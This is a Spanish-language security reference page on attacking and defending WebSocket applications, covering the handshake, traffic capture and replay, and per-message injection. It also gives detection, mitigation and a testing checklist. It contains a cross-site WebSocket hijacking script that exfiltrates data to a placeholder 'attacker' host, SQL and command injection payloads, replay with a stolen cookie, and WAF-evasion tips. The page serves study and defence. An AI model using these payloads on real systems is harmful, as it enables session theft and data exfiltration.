Saltearse al contenido

WebSockets

Canal full-duplex sobre una única conexión TCP, iniciado con un handshake HTTP (Upgrade: websocket) y luego mantenido con tramas binarias/texto. Rompe el modelo petición-respuesta: el servidor empuja datos, no hay reenvío automático de cookies por cada mensaje y muchos controles pensados para HTTP (WAF, autorización por endpoint, CSRF tokens) no aplican a los mensajes una vez abierto el túnel.

El punto débil casi nunca es el protocolo, sino qué se confía del handshake y qué se valida por mensaje. Si la autorización se comprueba solo al abrir la conexión y no en cada acción, cualquiera que logre abrir el socket manda. Si el Origin no se valida, una web de terceros abre el socket con las cookies de la víctima (CSWSH). Y como los mensajes suelen ser JSON que acaba en una query o en eval, los mismos bugs de inyección de siempre reaparecen sin WAF delante.

GET /chat HTTP/1.1
Host: target
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Version: 13
Origin: https://target
Cookie: session=...

Respuesta 101 Switching Protocols + Sec-WebSocket-Accept. A partir de aquí el tráfico son tramas, no HTTP. Las cookies solo viajan en este request inicial.

  • Busca new WebSocket(, ws://, wss://, socket.io, SignalR, stomp en el JS de la aplicación.
  • DevTools → pestaña Network → filtro WS → pestaña Messages para ver el tráfico en claro.
  • Proxy: Burp intercepta y permite reenviar/editar mensajes WS desde el WebSocket history y repetirlos.

Reproducir e inyectar sin herramientas gráficas, con websocat:

websocat -H='Cookie: session=ROBADA' wss://target/chat
# escribe mensajes por stdin y lee las respuestas por stdout
{"action":"getMessages","room":"1"}
{"action":"getMessages","room":"../admin"}

Vectores sobre el contenido del mensaje (el servidor suele tratarlos como confiables):

  • Inyección en back: {"q":"' OR 1=1-- -"} → SQLi; {"cmd":"id"} → command injection si el back lo ejecuta.
  • XSS almacenado por WS: un mensaje de chat <img src=x onerror=...> que otros clientes renderizan sin escapar.
  • IDOR por mensaje: cambiar userId/roomId/orderId en cada acción; la autorización rara vez se revalida por mensaje.
  • Mass assignment: añadir "role":"admin" a un payload de actualización de perfil.

Si el servidor no valida Origin y la sesión va por cookie, una página atacante abre el socket con las credenciales de la víctima:

<script>
var ws = new WebSocket("wss://target/chat");
ws.onopen = () => ws.send('{"action":"getMessages"}');
ws.onmessage = e => fetch("https://attacker/x?d="+encodeURIComponent(e.data));
</script>

Equivale a un CSRF con lectura de respuesta: exfiltras todo lo que el socket devuelva.

  • El WAF suele inspeccionar el handshake pero no las tramas posteriores → mete el payload en los mensajes, no en la URL.
  • Fragmenta el mensaje en varias tramas (continuation frames) si hay inspección parcial.
  • Sec-WebSocket-Protocol a veces enruta a backends distintos con validación dispar.
  • websocat — cliente CLI, tunneling, scripting.
  • Burp Suite — intercept/replay de WS, extensión WebSocket Turbo Intruder para fuzzing.
  • wsrepl, STEWS — fuzzing y descubrimiento específico de WS.

Robo de sesiones y mensajes (CSWSH), RCE/SQLi sin WAF, escalada por IDOR/mass assignment, XSS propagado a todos los conectados.

  • Mensajes WS con sintaxis SQL/comandos/HTML en los logs de aplicación.
  • Handshakes con Origin ausente o de dominios no esperados.
  • Un mismo socket accediendo a identificadores de muchos usuarios distintos.

Loguea el Origin, el usuario autenticado y la acción de cada mensaje, no solo la apertura. Correlaciona socket ↔ identidad.

  • Valida Origin en el handshake contra una allowlist estricta.
  • Autoriza cada mensaje, no solo la conexión; no confíes en IDs que manda el cliente.
  • Usa wss:// siempre (TLS); tokens de sesión con caducidad corta y re-check.
  • Trata el contenido de los mensajes como input no confiable: valida esquema (JSON schema), escapa en salida, parametriza queries.
  • Rate-limit por socket y límites de tamaño/tasa de trama.

Cierra los sockets del atacante, invalida sesiones afectadas, revisa qué datos se exfiltraron por el canal.

  • CSWSH (Cross-Site WebSocket Hijacking) — patrones por falta de validación de Origin documentados por PortSwigger; suelen reportarse como hallazgos de bug bounty más que como un CVE concreto.
  • Slack / cadenas de chat — históricamente, XSS propagado vía mensajes renderizados sin sanitizar.
  • Socket.IO / engine.io — bugs de parsing y falta de validación de origen en integraciones mal configuradas.
  • PortSwigger Web Security Academy documenta labs reproducibles de CSWSH y de inyección por mensaje.
  • ¿El handshake valida Origin contra allowlist? (prueba abrir desde otro origen)
  • ¿Se puede reabrir el socket con cookies de víctima desde una página de terceros? (CSWSH)
  • ¿La autorización se revalida en cada mensaje o solo al conectar?
  • ¿Los IDs del mensaje (userId, roomId) son manipulables? (IDOR/BFLA)
  • ¿El contenido del mensaje llega a SQL, comandos, plantillas o HTML sin sanitizar?
  • ¿Se puede añadir campos no previstos al payload? (mass assignment)
  • ¿Hay rate-limiting por socket?
  • ¿El transporte es wss:// (TLS) en todo el flujo?